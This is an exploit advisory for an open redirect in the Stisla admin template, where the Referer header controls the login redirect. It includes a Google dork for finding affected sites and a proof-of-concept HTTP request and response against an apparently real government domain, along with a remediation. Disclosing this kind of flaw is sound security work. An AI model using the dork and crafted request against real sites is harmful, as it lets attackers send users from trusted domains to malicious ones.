############################################################# # Exploit Title: Stisla - Open Redirect Vulnerability # Exploit Author: Gh05t666nero # Author Team: The A Team - Kejaksaan Agung RI # Google Dork: intitle:"Login — Stisla" # Software Vendor: Stisla (Muhamad Nauval Azhar) # Software Version: * # Software Link: https://github.com/stisla/stisla # Date: 2022-05-09 ############################################################# [*] About: ---------- Stisla is a Free Bootstrap Admin Template which will help you to speed up your project and design your own dashboard UI. Users will love it. ############################################################# [*] Detail: ----------- Input passed via the 'Referer' header field is not properly verified before being used to redirect users. ############################################################# [*] Impact: ----------- Redirecting user to an arbitrary website e.g. when a user clicks a specially crafted link to the affected script hosted on a trusted domain. ############################################################# [*] Remediation: ---------------- Instead of redirecting users to the same page through referrer, developer can redirect them directly without grabbing from the referrer. ############################################################# [*] PoC: -------- # Request: POST /login HTTP/1.1 Host: pustakadata.semarangkota.go.id User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:100.0) Gecko/20100101 Firefox/100.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8 Accept-Language: id,en-US;q=0.7,en;q=0.3 Accept-Encoding: gzip, deflate, br Referer: https://cxsecurity.com/ Content-Type: application/x-www-form-urlencoded Content-Length: 99 Origin: https://pustakadata.semarangkota.go.id DNT: 1 Connection: keep-alive Upgrade-Insecure-Requests: 1 Sec-Fetch-Dest: document Sec-Fetch-Mode: navigate Sec-Fetch-Site: same-origin Sec-Fetch-User: ?1 Sec-GPC: 1 Pragma: no-cache Cache-Control: no-cache # Response: HTTP/1.1 302 Found Date: Mon, 09 May 2022 06:18:20 GMT Server: Apache X-Powered-By: PHP/7.2.34 Cache-Control: no-cache, private Location: https://cxsecurity.com/ Vary: Accept-Encoding,User-Agent Content-Encoding: gzip Content-Length: 196 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8